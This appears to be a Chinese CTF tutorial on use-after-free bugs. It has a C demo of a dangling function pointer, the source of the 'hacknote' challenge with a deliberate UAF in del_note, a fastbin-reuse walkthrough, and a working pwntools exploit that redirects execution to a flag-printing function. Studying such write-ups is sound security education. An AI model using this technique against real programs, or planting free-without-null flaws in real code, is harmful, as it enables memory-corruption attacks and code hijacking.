关于uaf的demo

#include <stdio.h>
#include <stdlib.h>

typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;

void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }

int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name));		//创建NAME结构体指针并malloc相应的空间
  a->func = myprint;
  a->myname = "I can also use it";
  a->func("this is my function");
  // free without modify
  free(a);
  a->func("I can also use it");
  // free with modify
  a->func = printmyname;
  a->func("this is my function");
  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a->func("can not be printed...");
}

执行结果如下

[root@localhost morty]# ./a.out 
this is my function
I can also use it
call print my name
this pogram will crash...
Segmentation fault

下面我们来看下hacknote

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {				#note结构体包含两个指针,一个函数指针,一个字符串指针
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;				// 一个全局的计数器

void print_note_content(struct note *this) { puts(this->content); }		#这个函数的作用就是输入一个结构体,打印它的context

void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {													//如果当前结构体为空,才会执行以下
      notelist[i] = (struct note *)malloc(sizeof(struct note));			//申请响应的堆空间
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;		// 设置函数指针,该函数的操作为:打印该content
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);		// 读取输入的size,并申请响应的值,赋给content
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);				// 然后再为content赋值
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);						//输入序号
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {				//这里就是输入序号并free
    free(notelist[idx]->content);	//分别free了content和该结构体指针,但都没有置零
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);				//输入序号
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);		//运行函数指针,参数是这个结构体指针
  }
}

void magic() { system("cat flag"); }			//运行到这个函数就成功了

void menu() {							//没什么用
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {		//循环中输入选择
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

我们可以明显的看到del_note在free之后没有置零,导致潜在的uaf,漏洞利用可以如下

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
  • note2 其实会分配 note1 对应的内存块。
  • real content 对应的 chunk 其实是 note0。
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

最终的exp如下

# -*- coding: utf-8 -*-
from pwn import *

r = process('./hacknote')

def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

#gdb.attach(r)
magic = 0x08048986		#通过objdump -d ./hacknote | less 查找
addnote(32, "aaaa")		#创建两个
addnote(32, "ddaa")
delnote(0)				#删除两个
delnote(1)
addnote(8, p32(magic))		#申请一个note,正好在note1,然后context为8个字节,因此context落在note0
printnote(0)
r.interactive()

运行结果如下

 H localhost.localdomain  root  / | home | morty  python exp.py 
[+] Starting local process './hacknote': pid 19408
[*] Switching to interactive mode
this is mortyflag